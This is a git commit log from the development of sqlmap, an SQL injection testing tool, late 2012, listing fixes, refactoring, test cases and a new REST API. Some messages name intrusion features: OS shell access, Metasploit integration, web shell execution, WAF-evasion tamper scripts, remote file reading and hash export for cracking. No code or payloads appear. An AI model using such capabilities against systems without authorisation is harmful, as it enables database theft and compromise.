Miroslav Stampar 77625e5af7 Minor revert 2012-12-21 19:31:05 +01:00
Miroslav Stampar 00e55828e4 Minor style update 2012-12-21 15:06:03 +01:00
Miroslav Stampar 8b3e17ed4d Minor update (better approach for those old NOT IN cases in MsSQL - instead of standard pivot dump table) 2012-12-21 14:52:47 +01:00
Miroslav Stampar 2fc187489b Removing leftover 2012-12-21 14:01:59 +01:00
Miroslav Stampar a3f9741d6e Fixed unneeded trimming in --hex for MsSQL 2012-12-21 11:40:18 +01:00
Miroslav Stampar 6c1ec9b54f Fix for an Issue #318 2012-12-21 11:10:05 +01:00
Miroslav Stampar 35728fa443 Fix (and some hidden bug fixes/improvements) regarding an Issue #317 2012-12-21 10:51:35 +01:00
Miroslav Stampar 352e516400 Bottle is a 3rd party tool (not going to extra folder) 2012-12-21 10:18:30 +01:00
Miroslav Stampar 0f62e677b5 Minor just in case commit (plural/singular unArrayize()) 2012-12-21 10:15:42 +01:00
Miroslav Stampar b94a5d42d4 Removing a leftover 2012-12-21 09:49:09 +01:00
Miroslav Stampar 0a122ccce4 Related to an Issue #319 2012-12-21 09:47:58 +01:00
Miroslav Stampar 0d5d84edc7 Minor cleanup 2012-12-20 21:03:41 +01:00
Miroslav Stampar 712cf4e4db Fix for an Issue #316 2012-12-20 20:55:59 +01:00
Miroslav Stampar 1073ebc697 Merge branch 'master' of github.com:sqlmapproject/sqlmap 2012-12-20 20:51:41 +01:00
Bernardo Damele 89d8c58fd1 poor attempt at forking a child process for sqlmap engine execution, output is not handled yet 2012-12-20 17:56:53 +00:00
Bernardo Damele 912323c12d minor bug fix (#297) 2012-12-20 17:05:44 +00:00
Bernardo Damele 7adaffa71b fixed options initiation 2012-12-20 16:53:43 +00:00
Miroslav Stampar 1c4d438aff Merge branch 'master' of github.com:sqlmapproject/sqlmap 2012-12-20 16:37:03 +01:00
Bernardo Damele b0635bddcc adjustments 2012-12-20 15:29:23 +00:00
Miroslav Stampar cf763670dd Merge branch 'master' of github.com:sqlmapproject/sqlmap 2012-12-20 16:26:58 +01:00
Bernardo Damele 12eadcf07c now api can only be run with sqlmapapi.py 2012-12-20 14:59:11 +00:00
Miroslav Stampar 8efe056671 Minor refactoring 2012-12-20 15:51:03 +01:00
Miroslav Stampar 2ac99e5021 Minor update 2012-12-20 15:40:56 +01:00
Bernardo Damele e9ab33e9dd standalone REST API, code cleanup (#297) 2012-12-20 14:35:02 +00:00
Miroslav Stampar d928cce122 Merge branch 'master' of github.com:sqlmapproject/sqlmap 2012-12-20 14:58:41 +01:00
Miroslav Stampar 18f4a916ea Minor fix 2012-12-20 14:58:26 +01:00
Bernardo Damele 5632279bf7 removed deprecated feature (#287) 2012-12-20 13:21:07 +00:00
Bernardo Damele a56e384abb updated VM.. 2012-12-20 13:18:45 +00:00
Bernardo Damele e39ac0f092 added OR boolean-based test case 2012-12-20 12:52:26 +00:00
Bernardo Damele d019f75e63 for this test case verbose has to be set to 2 as we parse a DEBUG message 2012-12-20 11:48:34 +00:00
Miroslav Stampar 63d9b7a1f8 No character shall be left forgotten (no more ? in case that character was not properly being decoded by used charset) 2012-12-20 12:23:37 +01:00
Miroslav Stampar 728e061c53 Preventing double safe char encoding 2012-12-20 12:21:45 +01:00
Bernardo Damele 190e317992 fixed test case and added new one, commented out metasploit integration case as it cannot be handled easily 2012-12-20 11:05:11 +00:00
Miroslav Stampar c2c4601d6e Minor restyling 2012-12-20 11:06:52 +01:00
Miroslav Stampar 19e2f3bb76 Merge branch 'master' of github.com:sqlmapproject/sqlmap 2012-12-20 10:43:54 +01:00
Miroslav Stampar 03215ef209 Proper length function used now (fixing issues with international letters in multi threaded mode) 2012-12-20 10:43:38 +01:00
Bernardo Damele 076b4063e6 these edits got overwritten from last commits 2012-12-20 09:42:44 +00:00
Miroslav Stampar 3cbe60b586 Proper fix 2012-12-20 10:37:20 +01:00
Miroslav Stampar 0d1ea7f05a Merge branch 'master' of github.com:sqlmapproject/sqlmap
Conflicts:
	lib/core/testing.py
2012-12-20 10:37:11 +01:00
Miroslav Stampar da93e77eb2 Proper fix 2012-12-20 10:34:51 +01:00
Bernardo Damele 1d64742842 added more test cases 2012-12-20 09:31:17 +00:00
Bernardo Damele ac77724970 attempt to handle standard input from --live-test 2012-12-20 09:30:48 +00:00
Bernardo Damele 2b6ee06de0 minor bug fix to correctly parse unicode chars 2012-12-20 09:30:13 +00:00
Miroslav Stampar 69310e47ce Merge branch 'master' of github.com:sqlmapproject/sqlmap 2012-12-20 09:54:39 +01:00
Miroslav Stampar 06d8213ffd minor fix (reading of unicode xml files) 2012-12-20 09:53:08 +01:00
Bernardo Damele 86872956d5 minor bug fix (for PostgreSQL) 2012-12-19 22:55:31 +00:00
Bernardo Damele 77843f44fb minor bug fix (issue #314) 2012-12-19 22:49:02 +00:00
Bernardo Damele 602405c171 added more test cases 2012-12-19 18:30:04 +00:00
Bernardo Damele a2c58847e6 fixed title 2012-12-19 18:29:00 +00:00
Bernardo Damele 357da43cea slight improvement of live test engine and added misc test cases to xml 2012-12-19 17:28:41 +00:00
Bernardo Damele 3061eec7d8 added test case for web shell command execution and temporary test case for Metasploit integration (--os-pwn) 2012-12-19 16:39:13 +00:00
Bernardo Damele 85fcd27e2d added support for random global variables 2012-12-19 15:58:06 +00:00
Bernardo Damele 12d34587cc minor restyling 2012-12-19 14:34:34 +00:00
Bernardo Damele 326ff404fc Merge branch 'master' of github.com:sqlmapproject/sqlmap 2012-12-19 14:25:35 +00:00
Bernardo Damele 12eed58485 pointless restyling 2012-12-19 14:25:29 +00:00
Miroslav Stampar 37346fe8a3 Merge branch 'master' of github.com:sqlmapproject/sqlmap 2012-12-19 15:23:57 +01:00
Miroslav Stampar 7ee98c7bff Just for one girl out there waiting for this patch ;) 2012-12-19 15:23:38 +01:00
Bernardo Damele 3be90c97aa forgot these 2012-12-19 14:12:45 +00:00
Bernardo Damele cefb03c835 fixed bug related to issue #223 2012-12-19 14:12:09 +00:00
Bernardo Damele 27a12ae85b restyling 2012-12-19 13:47:17 +00:00
Bernardo Damele 4b3b4eb374 commented out partial work 2012-12-19 13:47:04 +00:00
Bernardo Damele 3655d1f12a revert change of name for now 2012-12-19 13:45:52 +00:00
Bernardo Damele 874e2176c6 Merge branch 'master' of github.com:sqlmapproject/sqlmap 2012-12-19 13:43:00 +00:00
Bernardo Damele 4f0f729982 be more specific in standard output message as to whether or not the read file is same as remote file 2012-12-19 13:42:56 +00:00
Miroslav Stampar 23153e8088 Merge branch 'master' of github.com:sqlmapproject/sqlmap 2012-12-19 14:29:08 +01:00
Miroslav Stampar 244901eda0 During --flush-session log file should be cleaned too (especially because of --live-tests) 2012-12-19 14:28:54 +01:00
Bernardo Damele 282aeb734f ORDER BY does not play well with UNION query SQLi (related to issue #313) 2012-12-19 13:21:16 +00:00
Bernardo Damele 259b345f1f catch ImportError exception if libmagic is not installed 2012-12-19 13:10:54 +00:00
Bernardo Damele 128597ee7e --run-case is now case insensitive 2012-12-19 12:45:46 +00:00
Bernardo Damele b91c829103 minor bug fix (issue #310) 2012-12-19 12:42:31 +00:00
Bernardo Damele e583ba6826 no point retesting all for time-based too as it uses same engine of boolean-based 2012-12-19 12:35:36 +00:00
Bernardo Damele 2bc2c0431c fixed test cases 2012-12-19 12:33:37 +00:00
Bernardo Damele 5ceadf02ae fixed test cases now that MySQL test db has two more tables and removed old test cases, soon to be replaced with new ones for other DBMSes 2012-12-19 12:22:45 +00:00
Bernardo Damele 9149d77cc8 removed duplicate code - fixes issue #310 2012-12-19 12:17:56 +00:00
Bernardo Damele 54752a9101 typo fix 2012-12-19 11:44:58 +00:00
Bernardo Damele d80744d3d5 preparation for issue #310 2012-12-19 11:40:00 +00:00
Bernardo Damele f5450e9f0e layout adjustment 2012-12-19 11:39:38 +00:00
Bernardo Damele dee56b17c3 handle "LIMIT num" as well as "LIMIT num, num" across all techniques - fixes issue #308 2012-12-19 10:50:15 +00:00
Miroslav Stampar 155c1eddae Debug message with declared page charset 2012-12-19 11:16:42 +01:00
Miroslav Stampar d29dddf5b2 Merge branch 'master' of github.com:sqlmapproject/sqlmap 2012-12-19 10:51:25 +01:00
Miroslav Stampar 92e338251a Finally working inference against MySQL/international letters (even chinese) 2012-12-19 10:44:02 +01:00
Bernardo Damele 65ed2304fd comment update 2012-12-19 09:38:03 +00:00
Bernardo Damele 9b422e1e94 minor fix for issue #309 2012-12-19 09:37:29 +00:00
Bernardo Damele 0037d52098 typo fix 2012-12-19 01:11:18 +00:00
Miroslav Stampar c9b8b51c9c Update lib/core/common.py
Revert of last commit and try 2
2012-12-19 01:48:53 +01:00
Bernardo Damele 8e95470415 minor refactoring 2012-12-19 00:46:23 +00:00
Bernardo Damele 318fcee49c Merge branch 'master' of github.com:sqlmapproject/sqlmap 2012-12-19 00:30:26 +00:00
Bernardo Damele 3c7007097a minor refactoring 2012-12-19 00:30:22 +00:00
Miroslav Stampar 50b846b5af Update lib/core/common.py
Fixing wrong assumption in case of MySQL inference international character retrieval
2012-12-19 01:26:12 +01:00
Bernardo Damele aeda67e945 updated third-party magic library 2012-12-18 23:58:49 +00:00
Miroslav Stampar 9e2f0131b9 Update lib/core/agent.py 2012-12-18 20:25:00 +01:00
Bernardo Damele 738dbde16c avoid displaying "do you want to dump" message if no searched columns have been found 2012-12-18 18:07:34 +00:00
Bernardo Damele 326ed33f31 added support for comma separated list of files for --file-read - fixes issue #223 2012-12-18 17:55:21 +00:00
Bernardo Damele 8d9aa2c384 minor refactoring, added possibility to compare the remote file and downloaded file (--file-read), prepping for #223 2012-12-18 17:49:18 +00:00
Bernardo Damele 9a1eca20b5 lowered gravity 2012-12-18 16:42:03 +00:00
Bernardo Damele 58656bbeb5 minor bug fix, union query has to be limited 0, 0 2012-12-18 16:36:30 +00:00
Bernardo Damele 2c86022aab added test cases for --sql-query and improved tests for --search -C 2012-12-18 16:30:46 +00:00
Bernardo Damele f8267ece0f added more specific --search -T and -C test cases 2012-12-18 16:13:38 +00:00
Bernardo Damele 61a838bb35 added more test cases 2012-12-18 15:59:48 +00:00
Bernardo Damele d1d99d930b proper fix for #306 2012-12-18 15:31:30 +00:00
Miroslav Stampar 30201d29bd Merge branch 'master' of github.com:sqlmapproject/sqlmap 2012-12-18 16:03:49 +01:00
Miroslav Stampar 88d8494b5a Implementation for an Issue #307 2012-12-18 16:03:35 +01:00
Bernardo Damele 6b1dd05e62 reverted 2012-12-18 14:51:04 +00:00
Bernardo Damele e1b7a6350e consistency between --tables and --columns when -T and -C are respectively provided - there was a leftover from when --search called getColumns() as --columns: this is no longer the case (closes issue #306) 2012-12-18 14:37:04 +00:00
Bernardo Damele 57412f8475 default to --search shall stay LIKE 2012-12-18 13:55:26 +00:00
Bernardo Damele 3fa05374bd added tests for all MySQL techniques now (except stacked queries (S) as it is not supported on MySQL/PHP) 2012-12-18 12:07:19 +00:00
Miroslav Stampar eb23b1b1a5 Minor commit related to the last one (uniq roles/privileges) 2012-12-18 12:47:06 +01:00
Miroslav Stampar 699a0f756a Minor fix 2012-12-18 12:43:23 +01:00
Miroslav Stampar 7f47623876 Minor patch 2012-12-18 11:10:06 +01:00
Miroslav Stampar 9b716eb805 Implementation for an Issue #135 2012-12-18 10:13:42 +01:00
Miroslav Stampar f56b846864 Patch for an Issue #300 2012-12-18 09:55:33 +01:00
Miroslav Stampar 2b64c10710 Patch for an Issue #304 2012-12-18 09:36:26 +01:00
Miroslav Stampar 45d6fdcdc8 Trivial update 2012-12-17 17:16:11 +01:00
Miroslav Stampar 175cb245cb Adding common data type to txt/common-outputs (--columns --predict-output) 2012-12-17 17:13:51 +01:00
Bernardo Damele 4cd4f291d7 Merge branch 'master' of github.com:sqlmapproject/sqlmap 2012-12-17 14:13:39 +00:00
Bernardo Damele a00cd9b3ea syntax fix 2012-12-17 14:13:34 +00:00
Miroslav Stampar 4ea0c9e922 Another implementation for an Issue #302 2012-12-17 15:08:54 +01:00
Bernardo Damele d2bd275652 refactoring 2012-12-17 14:07:28 +00:00
Bernardo Damele 3c1cead406 WHERE condition for error-based technique for --tables with --exclude-sysdbs was logically wrong, fixed now 2012-12-17 14:06:12 +00:00
Bernardo Damele b957b4790b regexp fix 2012-12-17 13:52:00 +00:00
Bernardo Damele eb44f30d63 minor layout output fix 2012-12-17 13:51:46 +00:00
Bernardo Damele 3c1b696bd6 removed more print statements 2012-12-17 13:35:32 +00:00
Bernardo Damele 86bca05ab0 improved tests 2012-12-17 13:30:41 +00:00
Bernardo Damele 1fdd804e94 replaced instances of dataToStdout with logger 2012-12-17 13:30:21 +00:00
Bernardo Damele 9f47eb0a59 cleaner 2012-12-17 13:29:37 +00:00
Bernardo Damele 0500712a03 removed unuseful prints 2012-12-17 13:29:19 +00:00
Bernardo Damele ac44cf3ec0 minor fix: add also back-end DBMS and web app fingerprint output to log file 2012-12-17 13:02:09 +00:00
Bernardo Damele bbd2adb5fb improvements to --live-test and added --stop-fail switch 2012-12-17 11:41:43 +00:00
Bernardo Damele 064d443d60 replaced unnecessary dataToStdout() call with appropriate logger.info() call 2012-12-17 11:30:08 +00:00
Bernardo Damele 2926c815bf improved test switch --live-test and minor refactoring 2012-12-17 11:29:33 +00:00
Bernardo Damele f40c52cc17 comment adjustment 2012-12-17 11:28:03 +00:00
Bernardo Damele 2442a58884 minor leftover of deprecated XMLRPC service 2012-12-17 11:26:31 +00:00
Miroslav Stampar 60baf5071e Patch for an Issue #302 2012-12-17 00:40:01 +01:00
Bernardo Damele d4a061d0c3 code cleanup - #297 2012-12-15 00:29:35 +00:00
Bernardo Damele 0c3da5c7eb code refactoring and first time logger is handled by a separate file descriptor (issue #297) 2012-12-15 00:12:22 +00:00
Bernardo Damele 2f6a31605c code refactoring (#279) 2012-12-14 22:00:42 +00:00
Bernardo Damele 8dee8355c2 on our way to make it thread safe.. it is a long way actually (issue #297) 2012-12-14 18:13:21 +00:00
Bernardo Damele 21ecffb750 added more comments, improved cleanup method 2012-12-14 17:21:19 +00:00
Bernardo Damele b50ea26e7b updated THANKS 2012-12-14 16:22:49 +00:00
Bernardo Damele 1421e6a9d4 implemented cleanup and status admin methods 2012-12-14 16:18:45 +00:00
Bernardo Damele 4fa2f400ec minor fix 2012-12-14 15:55:30 +00:00
Bernardo Damele 4c4cb856ff minor bug fix to the /scan/<taskid>output method, forced each taskid to have its own temporary folder for output - issue #297 2012-12-14 15:52:35 +00:00
Bernardo Damele 27906f388f added first methods to interact with sqlmap core, it is now possible to launch a scan from the API, hurray! (issue #297) 2012-12-14 14:51:01 +00:00
Bernardo Damele f52d81c834 Merge branch 'master' of github.com:sqlmapproject/sqlmap 2012-12-14 13:40:36 +00:00
Bernardo Damele 0b71c85d95 refactoring, code cleanup, more security-related headers and first /scan method implementation (issue #297) 2012-12-14 13:40:25 +00:00
Bernardo Damele a2a71bb37b cleanup from XML-RPC related stuff 2012-12-14 13:37:36 +00:00
Miroslav Stampar a3acf72e52 Fix for argparse issue 2012-12-14 14:35:11 +01:00
Miroslav Stampar 235631808f Merge branch 'master' of github.com:sqlmapproject/sqlmap 2012-12-14 14:25:02 +01:00
Bernardo Damele 3d9779ffd4 further improvements to RESTful API: enforce security headers across all HTTP responses properly and make consistent responses across methods (#297) 2012-12-14 12:15:04 +00:00
Bernardo Damele 7b43837238 cleaner solution for imports as standalone client/server (issue #297) 2012-12-14 12:04:44 +00:00
Bernardo Damele 90d5696b25 enhanced RESTful API to support JSON requests and improved standalone client/server skeleton (issue #297) 2012-12-14 12:01:13 +00:00
Bernardo Damele 156a291e2d typo fix 2012-12-14 11:55:54 +00:00
Bernardo Damele 1bb8e6f744 updated third party document to reflect inclusion of bottle web framework (#297) 2012-12-14 11:40:35 +00:00
Miroslav Stampar c41618416c Removing trailing blanks 2012-12-14 12:00:45 +01:00
Bernardo Damele 2e97405ffa bundle bottle library in sqlmap (it is MIT license) - issue #297 2012-12-14 03:00:30 +00:00
Bernardo Damele 0ec420cc70 leftovers 2012-12-14 02:54:16 +00:00
Bernardo Damele a1b83cd56f added first implementation of REST-JSON API library - issue #297 2012-12-14 02:52:31 +00:00
Bernardo Damele 6e31e87de1 added initial support (hidden from -hh and not yet usable) for REST-JSON API 2012-12-14 02:49:25 +00:00
Miroslav Stampar 46885d4c28 New pep8 script 2012-12-13 16:07:49 +01:00
Miroslav Stampar c040323821 Minor update 2012-12-13 14:55:20 +01:00
Miroslav Stampar df0f08bc6a Cleaning some (web upload based) garbage 2012-12-13 13:19:47 +01:00
Miroslav Stampar 5150172178 Minor update 2012-12-13 10:03:21 +01:00
Miroslav Stampar 6d53d8d112 Minor fix 2012-12-12 18:04:50 +01:00
Miroslav Stampar b78b56d782 Update for an Issue #287 regarding read_output returning values 2012-12-12 17:17:36 +01:00
Miroslav Stampar 76eb894bc7 Batch is a must in XML-RPC mode (Issue #287) 2012-12-12 16:53:29 +01:00
Miroslav Stampar fc4be0a77c Minor fix 2012-12-12 16:45:29 +01:00
Miroslav Stampar e381158058 Hmmm... Let me guess. Update for an Issue #287 2012-12-12 16:31:20 +01:00
Miroslav Stampar 921000bd87 Another update for an Issue #287 2012-12-12 14:22:24 +01:00
Miroslav Stampar c3f20a136f Minor update for an Issue #287 2012-12-12 14:03:03 +01:00
Miroslav Stampar 32b39c72e4 Minor update 2012-12-12 12:07:56 +01:00
Miroslav Stampar af52e8e8c2 Minor update for an Issue #287 2012-12-12 12:01:18 +01:00
Miroslav Stampar a6448e8768 Update for an Issue #287 2012-12-12 11:54:59 +01:00
Miroslav Stampar ef33729381 Writing only unique hashes to an output file (for eventual cracking with 3rd party tools) 2012-12-12 09:59:24 +01:00
Miroslav Stampar b9f6fc5f4e First commit (and working one) for an Issue #287 (XML-RPC server) 2012-12-11 16:02:06 +01:00
Miroslav Stampar b5884c7eda Minor language update 2012-12-11 15:24:02 +01:00
Miroslav Stampar 760519dbe9 Removing redundant piece of code 2012-12-11 15:21:27 +01:00
Miroslav Stampar a54c261496 Minor update for Issues #292 & #293 (only single alert per target) 2012-12-11 14:44:43 +01:00
Miroslav Stampar 5c2451d83c Implementation for an Issue #293 2012-12-11 12:48:58 +01:00
Miroslav Stampar cb13735788 Fix for an Issue #294 2012-12-11 12:14:33 +01:00
Miroslav Stampar 562044577b Implementation for an Issue #292 2012-12-11 12:02:06 +01:00
Miroslav Stampar 9e38ccbc3d Removing unused imports 2012-12-10 17:47:42 +01:00
Miroslav Stampar 6ec536e94d Removing old shutils script and adding new one 2012-12-10 17:44:55 +01:00
Miroslav Stampar d013644c65 Minor update 2012-12-10 17:37:43 +01:00
Miroslav Stampar 6433be8b3d Style update 2012-12-10 17:20:04 +01:00
Miroslav Stampar 996e882e78 Minor update 2012-12-10 17:13:00 +01:00
Miroslav Stampar 013dc8bc98 Another minor update for an Issue #267 2012-12-10 13:07:36 +01:00
Miroslav Stampar 8bd0080bf4 Minor update for an Issue #267 2012-12-10 13:05:41 +01:00
Miroslav Stampar 96df0ba061 Implemented support for plain , chars too (Issue #267) 2012-12-10 12:58:17 +01:00
Miroslav Stampar d0ea4c65c5 Minor styl eupdate for an Issue #267 2012-12-10 12:54:01 +01:00
Miroslav Stampar 5677db02b7 Minor update 2012-12-10 12:40:28 +01:00
Miroslav Stampar 5606a860ce Oracle supports inline comments too (Issue #267) 2012-12-10 12:00:15 +01:00
Miroslav Stampar a024884ca7 Support for a HTTP parameter pollution (Issue #267) 2012-12-10 11:55:31 +01:00
Miroslav Stampar 42f4c2bac9 Minor fix when --dbms is enforced 2012-12-10 11:42:10 +01:00
Miroslav Stampar 1f7644a691 Minor fix when user doesn't want custom injection char marker to be processed 2012-12-08 21:23:30 +01:00
Miroslav Stampar 0cbdaaecfa Revert of 99e9412f74 (because of an Issue #289) 2012-12-08 08:53:25 +01:00
Miroslav Stampar 73968a448c Minor update 2012-12-07 15:29:54 +01:00
Miroslav Stampar e129a30e6b Removing redundant code in redirect handler (related to an Issue #288) 2012-12-07 12:40:19 +01:00
Miroslav Stampar fccad15cfa Minor update for an Issue #288 2012-12-07 12:14:33 +01:00
Miroslav Stampar 75e6d77fbc Minor refactoring 2012-12-07 11:54:34 +01:00
Miroslav Stampar fbaeecdaf9 Patch for an Issue #288 2012-12-07 11:52:21 +01:00
Miroslav Stampar c0fc12beb2 Minor update for an Issue #288 2012-12-07 11:23:18 +01:00
Miroslav Stampar ed1b5d0ada Minor fix 2012-12-07 10:57:57 +01:00
Miroslav Stampar b5c8707323 Infinite loop fix when 'SELECT DB_NAME(...)' method used for --dbs in MsSQL 2012-12-06 15:55:33 +01:00
Miroslav Stampar 1028afce37 Removal of leftovers 2012-12-06 14:15:44 +01:00
Miroslav Stampar 974407396e Doing some more style updating (capitalization of exception classes; using _ is enough for private members - __ is used in Python specific methods) 2012-12-06 14:14:19 +01:00
Miroslav Stampar 003d21e962 Minor style update (capitalization of leftover class names) 2012-12-06 13:46:24 +01:00
Miroslav Stampar bb397f3907 Merge branch 'master' of github.com:sqlmapproject/sqlmap 2012-12-06 11:58:13 +01:00
Miroslav Stampar baccbd6f48 Implementation for an Issue #283 2012-12-06 11:57:57 +01:00
Bernardo Damele 13a1baef20 Create CONTRIBUTING.md 2012-12-06 02:53:03 -08:00
Miroslav Stampar ab67344448 Removed unused imports and variables (pyflake-ing) 2012-12-06 11:15:05 +01:00
Miroslav Stampar b6650add46 Introducing 'new style classes' (idea from Pull request #284) 2012-12-06 10:42:53 +01:00
Miroslav Stampar 0f191f624c Taking some goodies from Pull request #284 2012-12-06 10:21:53 +01:00
Miroslav Stampar 6b39e661a7 Fix for an issue #279 2012-12-05 12:15:14 +01:00
Miroslav Stampar bc72180a3b Lowering --limit for inline query technique 2012-12-05 10:58:41 +01:00
Miroslav Stampar 775e0df04b Update for an Issue #278 2012-12-05 10:45:17 +01:00
Miroslav Stampar 949fcb77cf Minor style update 2012-12-05 10:22:16 +01:00
Miroslav Stampar d4b5133df7 Update for an Issue #272 2012-12-04 17:04:32 +01:00
Miroslav Stampar a14697e8cf Implementation for an Issue #272 2012-12-04 16:47:34 +01:00
Miroslav Stampar 6b007ab188 Minor patch for an Issue #274 (just in case to avoid this kind of problems) 2012-12-04 16:14:14 +01:00
Miroslav Stampar c636c26acc Minor update 2012-12-03 17:43:39 +01:00
Miroslav Stampar e2aa695655 Minor update 2012-12-03 17:20:18 +01:00
Miroslav Stampar 42a8234c6f Update for an Issue #12 2012-12-03 14:27:01 +01:00
Miroslav Stampar 79fca8e9d5 Fix for an Issue #268 2012-12-03 12:13:59 +01:00
Miroslav Stampar 8410fc5a9d Minor update 2012-12-02 08:00:55 +01:00
Bernardo Damele da97cc085e Merge pull request #269 from redshark1802/master
fixed typo, wrong datatype for the option 'notString'
2012-12-01 16:08:23 -08:00
redshark1802 1675386093 fixed typo that created an invalid configuration file with the option '--save' 2012-11-30 23:00:03 +01:00
Miroslav Stampar 0664e72bea Minor fix for an Issue #230 2012-11-30 12:13:34 +01:00
Miroslav Stampar 5b61e9ce12 Minor update for an Issue #254 2012-11-30 11:43:50 +01:00
Miroslav Stampar 6ea07f7ba9 Fix of false statement (bluecoat.py was not meant to be used only against MySQL - Issue #261) 2012-11-29 15:53:54 +01:00
Miroslav Stampar 7e2db762d6 Minor update 2012-11-29 15:45:04 +01:00
Miroslav Stampar 8f10023523 Fix for an Issue #266 2012-11-29 15:44:14 +01:00
Miroslav Stampar 3b961c2550 Update for an Issue #254 2012-11-29 15:36:38 +01:00
Miroslav Stampar bdd819d7f2 Improvement of a between.py tamper script 2012-11-29 14:41:07 +01:00
Miroslav Stampar 605d73cc3d Minor refactoring 2012-11-29 12:21:12 +01:00
Miroslav Stampar 2e2a7a34b6 Minor consistency update 2012-11-29 12:11:53 +01:00
Miroslav Stampar b250b68231 Bug fix (--users was returning only 1 value because of this bug; probably introduced by mistake months ago) 2012-11-29 12:02:59 +01:00
Miroslav Stampar 7304971544 Patch for ORDER BY test on MsSQL on cases with 'The text, ntext, and image data types cannot be compared or sorted, except when using IS NULL or LIKE operator' 2012-11-29 11:43:49 +01:00
Miroslav Stampar 7c16bfe025 Fix for error-based MsSQL dumping (in some cases failed because of wrong order - e.g. MIN(SUBSTRING( instead of SUBSTRING(MIN ) 2012-11-29 10:51:59 +01:00
Miroslav Stampar a7e1e856d4 Fix for an Issue #260 2012-11-28 17:00:26 +01:00
Miroslav Stampar 35d1146fd1 Minor update for an (Issue #254) 2012-11-28 12:53:11 +01:00
Miroslav Stampar 753d0f18bf First CSS style added for a HTML table dump format (Issue #254) 2012-11-28 12:46:43 +01:00
Miroslav Stampar b6ea337937 First style-less prototype for an HTML dump output (Issue #254) 2012-11-28 12:28:42 +01:00
Miroslav Stampar e2d8b53e97 Minor update for an Issue #264 2012-11-28 11:45:33 +01:00
Miroslav Stampar cff0c59630 Implementation for an Issue #264 2012-11-28 11:41:39 +01:00
Miroslav Stampar 5bf5b95588 More refactoring for an Issue #254 2012-11-28 11:16:00 +01:00
Miroslav Stampar 87a92ab330 Deprecating --replicate (Issue #254) 2012-11-28 11:10:57 +01:00
Miroslav Stampar f08eb0fd9f Minor style update 2012-11-28 10:59:15 +01:00
Miroslav Stampar d95dd2d16e Preparation for an Issue #254 2012-11-28 10:58:18 +01:00
Miroslav Stampar 621ae587c7 Fix for an Issue #263 2012-11-28 00:03:17 +01:00
Miroslav Stampar c0796b4742 Minor bug fix (RLIKE boolean case was using wrong comparison payload) 2012-11-27 12:03:38 +01:00
Miroslav Stampar d490ffb163 Fix for an Issue #259 2012-11-27 11:45:22 +01:00
Miroslav Stampar bd33128085 Fix for an Issue #262 2012-11-27 10:08:22 +01:00
Miroslav Stampar ed40f18796 Minor fix 2012-11-26 14:59:44 +01:00
Miroslav Stampar 38c96a366b Patch for an Issue #260 2012-11-26 11:16:59 +01:00
Miroslav Stampar 8fe8bea55c Merge branch 'master' of github.com:sqlmapproject/sqlmap 2012-11-21 10:16:39 +01:00
Miroslav Stampar ef2038f1c8 Implementation for an Issue #253 2012-11-21 10:16:13 +01:00
Miroslav Stampar 735cfeee26 Update extra/shutils/_sqlmap.py
Minor language fix
2012-11-20 14:33:03 +01:00
Miroslav Stampar 237dc107e7 Merge pull request #252 from kost/zsh-completion
zsh completion script
2012-11-20 05:31:19 -08:00
Vlatko Kosturjak 209a860527 Initial import of zsh completion script 2012-11-20 12:54:07 +01:00
Miroslav Stampar c40dded28c Fix for an Issue #250 2012-11-20 12:10:29 +01:00
Miroslav Stampar 93e071fc33 Fix for an Issue #251 2012-11-20 11:19:23 +01:00
Miroslav Stampar 302348b0cd Minor update 2012-11-19 11:59:28 +01:00
Miroslav Stampar a40d7a5bca Minor improvement (safer to use column name in COUNT than *, especially when only one column is needed) 2012-11-15 15:06:54 +01:00
Miroslav Stampar d37be5f97b Fix for an Issue #248 2012-11-14 15:54:24 +01:00
Miroslav Stampar 9a54a911a8 Patch for an Issue #231 2012-11-14 11:30:29 +01:00
Miroslav Stampar 5b3fe25211 Improving comparison engine (removing shared prelude part to further sharpen if pages are identical - especially noticable in small test pages) 2012-11-13 15:22:59 +01:00
Miroslav Stampar 6f7f9dd8eb Patch for an Issue #242 2012-11-13 10:41:13 +01:00
Miroslav Stampar a52dbc575b Patch for an Issue #246 2012-11-13 10:21:11 +01:00
Miroslav Stampar f305dde413 Patch for an Issue #235 2012-11-10 11:01:29 +01:00
Miroslav Stampar 181c3534f0 Patch for an Issue #237 2012-11-08 19:16:37 +01:00
Miroslav Stampar e7e83defaa Minor update 2012-11-08 11:09:34 +01:00
Miroslav Stampar 1ee0d9ce5e Fix for an Issue #229 2012-11-05 15:58:54 +01:00
Miroslav Stampar 3cf5fc2f5a Fix for an Issue #230 2012-11-05 15:10:49 +01:00
Miroslav Stampar 5352b3ebd9 Refactoring code in tamper/bluecoat.py 2012-11-05 13:09:53 +01:00
Miroslav Stampar d75598fccf Merge pull request #232 from Th4nat0s/master
Tamper for SGos BlueCoat recommended Waf configuration
2012-11-05 03:53:37 -08:00
Thanatos 60aa7a7cd0 Tamper for BlueCoat SGos WAF 2012-11-03 19:15:22 +01:00
Miroslav Stampar 2de52927f3 Code refactoring (epecially Google search code) 2012-10-30 18:38:10 +01:00
Miroslav Stampar 76b793b199 Fix for an Issue #228 2012-10-30 18:08:25 +01:00
Miroslav Stampar 6e2041bc13 Better language than in last commit 2012-10-30 11:54:21 +01:00
Miroslav Stampar 1bbeb92eb6 Better language (used formation 'not required' in case of help for --dependencies while 'required'->'needs' in a check itself) 2012-10-30 11:19:39 +01:00
Miroslav Stampar 5cfc066ac4 Minor update 2012-10-30 10:30:22 +01:00
Miroslav Stampar 7c7aff12c6 Update for an Issue #225 2012-10-30 01:26:19 +01:00
Miroslav Stampar 969259607c Minor update 2012-10-30 01:23:01 +01:00
Miroslav Stampar b0f5b4f9bc Update for an Issue #225 2012-10-30 00:59:31 +01:00
Miroslav Stampar 726de868e2 Fix for an Issue #225 2012-10-30 00:37:43 +01:00
Miroslav Stampar a9094a35fe Fix for an Issue #227 2012-10-30 00:20:49 +01:00
Miroslav Stampar 1d07b93730 Bug fix for --os-shell on MySQL (it was not working for a long time because of this) 2012-10-29 15:45:30 +01:00
Miroslav Stampar 5358d85d37 Important refactoring for web-based functionality 2012-10-29 15:09:05 +01:00
Miroslav Stampar 81ccf28785 Minor refactoring 2012-10-29 14:08:48 +01:00
Miroslav Stampar d6e16e8641 Minor update 2012-10-29 11:08:02 +01:00
Miroslav Stampar 359e734954 Minor refactoring 2012-10-29 10:48:49 +01:00
Miroslav Stampar 32181d9322 minor update 2012-10-29 10:10:33 +01:00
Miroslav Stampar 919f75db9b Improvement and fix for pivotDumpTable mechanism 2012-10-28 23:09:35 +01:00
